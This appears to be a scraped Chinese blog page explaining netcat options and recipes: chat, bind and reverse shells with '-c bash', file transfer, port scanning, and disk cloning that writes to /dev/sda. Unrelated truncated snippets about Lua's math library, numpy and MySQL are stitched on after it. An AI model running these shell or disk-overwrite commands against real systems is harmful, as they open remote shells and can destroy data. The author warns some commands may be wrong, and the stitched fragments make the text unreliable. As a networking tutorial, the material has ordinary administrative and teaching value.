nc是乙個簡單,小巧但功能強大,並且十分好用的工具。
參 數:常用命令-c -e 《檔名》 連線後要執行的程式
-b 允許廣播
-g《閘道器》 設定路由器躍程通訊網關,最多可設定8個。
-g《指向器數目》 設定**路由指向器,其數值為4的倍數。
-i《延遲秒數》 設定時間間隔,以便傳送資訊及掃瞄通訊埠。
-l 使用監聽模式,管控傳入的資料。
-n 直接使用ip位址,而不通過網域名稱伺服器。
-o《輸出檔案》 指定檔名稱,把往來傳輸的資料以16進製制字碼傾倒成該檔案儲存。
-p《通訊埠》 設定本地主機使用的通訊埠。
-r 隨機指定本地與遠端主機的通訊埠。
-k 在socket上設定keepalive選項
-s《**位址》 設定本地主機送出資料報的ip位址。
-t 回答telnet交涉
-u 使用udp傳輸協議。
-c 將crlf作為行尾傳送
-v 顯示指令執行過程。
-q 《秒數》無響應多少秒後退出
-w《超時秒數》 設定等待連線的時間。
-t<>設定服務型別
-z 使用0輸入/輸出模式,只在掃瞄通訊埠時使用。
nc的聊天功能(挺有意思的)
a(服務端):nc -lp 333(埠隨意,不衝突就行)
b(客戶端):nc -nv 服務端ip 333
遠端控制 可以理解成主動去店裡消費
a(服務端):nc -lp 333(埠隨意,不衝突就行) -c bash(windows為cmd)
b(客戶端):nc -nv 服務端ip 333
遠端控制(反向)可以理解成上門服務
a(客戶端):nc -lp 333(埠隨意,不衝突就行)
b(服務端):nc -nv 服務端ip 333 -c bash(windows為cmd)
傳輸檔案(可組合其它工具對檔案進行加密傳輸)
a:nc -lp 333 > 檔案
b:nc -nv 1.1.1.1 333 < 檔案 –q 1
或 a:nc -q 1 -lp 333 < 檔案
b:nc -nv 1.1.1.1 333 >檔案
埠掃瞄
nc -nvz 目標ip位址 埠範圍(例如1-1000)
nc -vnzu 目標ip位址 埠範圍
遠端轉殖
a: nc -lp 埠號 | dd of=/dev/sda
檔案拷貝
從b拷貝檔案到a
a:nc -w 1 目標ip位址 埠號 < 檔名
b:nc -l 埠號 > 檔名
可根據各自環境調整選項,還可以結合linux其它命令、管道符等實現流**、傳輸文字、目錄等並對其加密,但我從沒試過就不在此演示。有些命令好久沒用了,可能有錯誤之處,望諒解。 Lua Math庫的一些功能
函式名描述示例 結果pi 圓周率math.pi 3.1415926535898 abs取絕對值 math.abs 2012 2012 ceil 向上取整 math.ceil 9.1 10floor 向下取整 math.floor 9.9 9max 取引數最大值 math.max 2,4,6,8 8m...
numpy模組的一些功能。
x np.array 1,2,3 4,5,6 這裡或者直接寫成 1,2,3 w x.shape 1,2,3 建立乙個三維陣列,由1個,2行,3列的二維陣列,組成.幾個 就是幾維。b np.expand dims a,axis 0 擴充套件陣列形狀 維度 變換為 1,1,2,3 含義為在1,2,3三個...
mysql的一些高階功能
鎖定表的方法可以維護資料的完整性,但是它卻不能保證資料的關聯性。這個時候我們就可以使用外來鍵。例如,外來鍵可以保證每一條銷售記錄都指向 某乙個存在的客戶。在這裡,外來鍵可以把customerinfo 表中的customerid對映到salesinfo表中customerid,任何一條沒有合法cust...